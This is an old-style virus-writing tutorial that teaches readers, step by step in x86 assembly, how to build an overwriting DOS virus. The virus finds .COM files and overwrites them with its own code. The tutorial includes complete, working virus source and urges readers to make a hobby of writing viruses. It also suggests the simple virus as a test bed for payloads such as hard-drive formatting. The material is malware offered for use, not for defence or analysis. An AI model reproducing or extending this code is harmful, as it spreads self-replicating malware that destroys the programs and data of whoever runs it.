RATBOY'S
OVERWRITING VIRUS TUTORIAL #1
/\---/\
( . . )
\ / WARNING: The information contain within here can be
\ / ^^^^^^^ dangerous to you mind and computer!!!!!!!!
\*/ I assume no responsiblity!!!!!!!!!
#
Well here it is my first instructional tutorial. I felt it was
nesscary for this file since I could not find any tutorials that taught
virus writing from the basic overwriting virus. Well that's how I started
and now I want to show you. So that you too can have a long and fruitful
life of codeing viruses. :)
OVERWRITING VIRUSES
-=What is an overwritting virus?
I'm glad you asked that. :) An overwriting virus is a virus that reproduces
by overwriting the first parts of a program with itself. Here is an example:
+-------------------------+ (I got this example from
| P R O G R A M | 40Hex, thanks P/S!!!!)
+-------------------------+
plus:
+--------+
| VIRUS! |
+--------+
equals:
+--------+----------------+
| VIRUS! | G R A M |
+--------+----------------+
As you can see the first part of the program was overwritten with
the virus code. Since important parts of the original program are
effectivly destroyed it won't ever run, but the virus code will.
As you can guess overwriting viruses are very destructive and not very
productive. But you must learn to walk before you can do the Polka!!
-=So what does one need to know to write an overwriting virus?
Another question I'm glad you asked. :) Well having a basic knowledge in
Assembly is a must, but it is not very differcult. As a virus writer, I
only know one programing language, Assembly. I didn't even learn BASIC.
So don't listen to those that say don't learn Assembly, it's a wonderful
programing language. At the end of this file I'll be recomending books and
things to do to help ya on your way to Assembly and virus writing.
Well let's get down to codeing!!!! :)
We will be dealing with .Com files. So here is the basic setup for a .Com
file in an Assembly source file:
-----------------------------------------------------------------------------
CODE SEGMENT
ASSUME CS:CODE,DS:CODE ;in .Com files the data, code, extra
;and stack segments are all the same.
ORG 100H ;this is where all .Com files start
;in memory. This allows room for the
;PSP.
STARTVX PROC NEAR
blah! ;all your virus body goes here
blah!
blah!
STARTVX ENDP
blah! ;all your 'db's go here etc..etc...
CODE ENDS
END STARTVX
-----------------------------------------------------------------------------
See the set up isn't really hard to follow, but the lack of info in that
example can be confusing. We'll get to a full Virus source code a little
later.
Now what is the basic setup for a simple overwriting virus? Well
let's look at the order of operations:
(1) find a file
(2) open the found file
(3) write the virus to the opened file (infect it)
(4) close the file
(5) exit
Well as you can see there is nothing but pure replication functions in this
setup. Well I wanted it to be easy and not to boog you down with encryption,
id bytes, etc... We are dealing with ZEN and the art of basic viruses!
Here we go looking at these steps of an simple overwriting virus:
(1) FIND FIRST FILE!
the inputs:
AH: 4EH
CX: FILE ATTRIBUTES
DX: OFFSET ADDRESS OF FILE NAME
DS: SEGMENT ADDRESS OF FILE NAME
Now let's see how we would put this into our little program:
mov ah,4eh ;find first service
mov cx,0000h ;we 0'ed cx for normal files
mov dx,offset star_com ;the file mask for .Com file
;you'll see
int 21h
;now of course when you said star_com you need to tell the Assembler what
;you are talking about. Here it is:
star_com: db "*.com",0
;ya see how it will work. With the use of the wild card '*' the first file
;that has the ending of .com will be found. This is easy isn't it?
Now you can see that we didn't need to touch DS: since CS=DS=ES=SS.
So the Star_com already was in the Data Segment. Yay!!!!! Love em .Com
files. Sorry need to get back on track.
Now before we can go on and talk about open a found file for writing
to(infecting), we must talk about the Disk Transfer Area (DTA). When you
find that first file, information about the file found goes into the DTA,
everything from file name to date of creation. Here's the setup:
0h db 21 dup(0) ;reserved for DOS uses
15h db 00 ;file attributes
16h dw 0000 ;file time
18h dw 0000 ;file date
1ah dd 00000000 ;file size
1eh db 13 dup(0) ;asciiz of the file name.
That is the layout of the DTA. Now the DTA lies in the PSP. The
first 256 (100h) bytes infront of the .Com file. It's address is 80h.
Most of the time in virus writing, you would want to move the DTA to a
location where you can manipulate it without possbile messing up the PSP.
Well for our case, with a simple overwriting virus, we don't need to worry.
All we are going to do is read from the DTA, the file name we just have
found. Now this is how we will address the file name, now we know that
the DTA starts at 80h, and we know that at 1eh from the DTA's begining is
the asciiz of the file name. So we just add them together and see what we
get, 80h + 1eh = 9eh. Well that is were it's located, now let's move on
to the next step.
(2) OPENING THE FOUND FILE!
the inputs:
AH: 3DH
AL: 00H ;opened for reading only
01H ;opened for writing only
02H ;opened for both reading and writing
DX: OFFSET ADDRESS OF THE FILE NAME
DS: SEGMENT ADDRESS OF THE FILE NAME
outputs:
AX: FILE HANDLE
Now look at it setup in the format we need to know.
mov ah,3dh ;open file
mov al,02h ;open it for reading and writing
mov dx,9eh ;remember this is where the name in the DTA
int 21h
Now Dos services will return a file handle of the file we just opened. The
file handle is nothing more than a number that dos uses to know where it
will read from(the file) or write to(the file). We don't want it in AX
since the next step that you will see we need it in BX. Here's a easy way
to move it:
xchg bx,ax ;that will put the file handle into bx in one
;step!!!
Ok now the down and dirty stuff. Infecting the file we just opened. Ha ha!
(3)WRITING TO THE OPENED FILE(INFECTING)
the inputs:
AH: 40H
BX: FILE HANDLE
CX: BYTES TO WRITE
DX: OFFSET OF ADDRESS OF THE BEGINING OF THE VIRUS
Here we go again with seeing what it will look like:
mov ah,40h
mov cx,offset endvx - offset startvx ;this will find the virus
;lenth, how many bytes to
;write....
mov dx,offset startvx ;where the virus starts
int 21h
Ahhhhhhhhh! I always feel so relaxed after reproducing....ahh.hh...h!
Oh...where was I, a...well now that we have copied the virus to the file,
now we can close it up.
(4)CLOSE THE FILE! ;Whata-ya live in a barn!
the inputs:
AX: 3EH
BX: FILE HANDLE
Now before we go on remember how after we opened the file that we
put the file handle in BX. So since we didn't mess with BX we should just
have to:
mov ah,3eh
int 21h
Now for the final and last step the exiting. Here ya go:
(5)EXIT!
int 20h
Well I know it isn't really pretty, but it works.
Well let's look at how all of it fits together:
-----------------------------------------------------------------------------
Code Segment
Assume CS:code,DS:code
Org 100h
startvx proc near
mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
xchg bx,ax
mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h
mov ah,3eh
int 21h
int 20h
startvx endp
star_com: db "*.com",0
endvx label near
code ends
end startvx
-----------------------------------------------------------------------------
Sorry I didn't put comments in, but that was done so that if you can
not read along and follow what is going on. You need to re-read this file,
and practice more Assembly.
-=Now that I know overwriting virus programing what can I use them for?
Another fine question. :) overwriting viruses are simple, and being simple
they are fairly easy to follow and program. That in it's self will help
educate you in the basics of a virus, writing, reading, find file, etc....
Also since it's fairly easy to write up an overwriting virus you can use them
as test platforms for other routines. Formating HD's, visual displays,
encryption, etc..... This is so that you can concentrate on the how
the test routine will work not the virus.
-=Now that I have the basics, is that all I need?
OH No, there are many things that you need, the knowledge being the hardest.
Read Assembler Inside and Out, and Using Assembly, they're really good books.
You need, an Assembler(A86+TASM), lot's of source codes to learn from(some
included). It just dosen't stop there, you will need a some really good
virus scanners to track what your virus is doing. F-prot and Tbav are
great, but if you come up with a virus that is unscannerable they won't work.
That's why I highly recommend INVIRCIBLE. It will protect you from real
screw ups, track your virus movement, even unscannibles, even protect you
from your 'friends' viruses on you computer >:>. It's the best anti-virus
protection out there, you need to know your enemy, and it's a powerful tool.
The biggest and most important thing you can have is people that are helpful
enough to take the time to answer the questions that form in your mind. You
will see some of those people in the closing credits of this file. Talk to
them.
Now you are on to a long and fruitful life of making your
own viruses. Remember pratice, ask questions, read and
of course have fun!!!!!!!
*****************************************************************************
Now I would like to take the time to thank a few people:
-=*God, for making me possible
-=*My Wife, for putting up with me!!
-=*FC, thanks for all the info and help, dude!!!
-=*Invircible, yea I know it's a piece of software, but it has covered my but
enough times. Thanks Mike!!!!!!!!!!!!!!!!!
-=*Aristotle, yea Aristotle, the dude help start me out.
-=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc..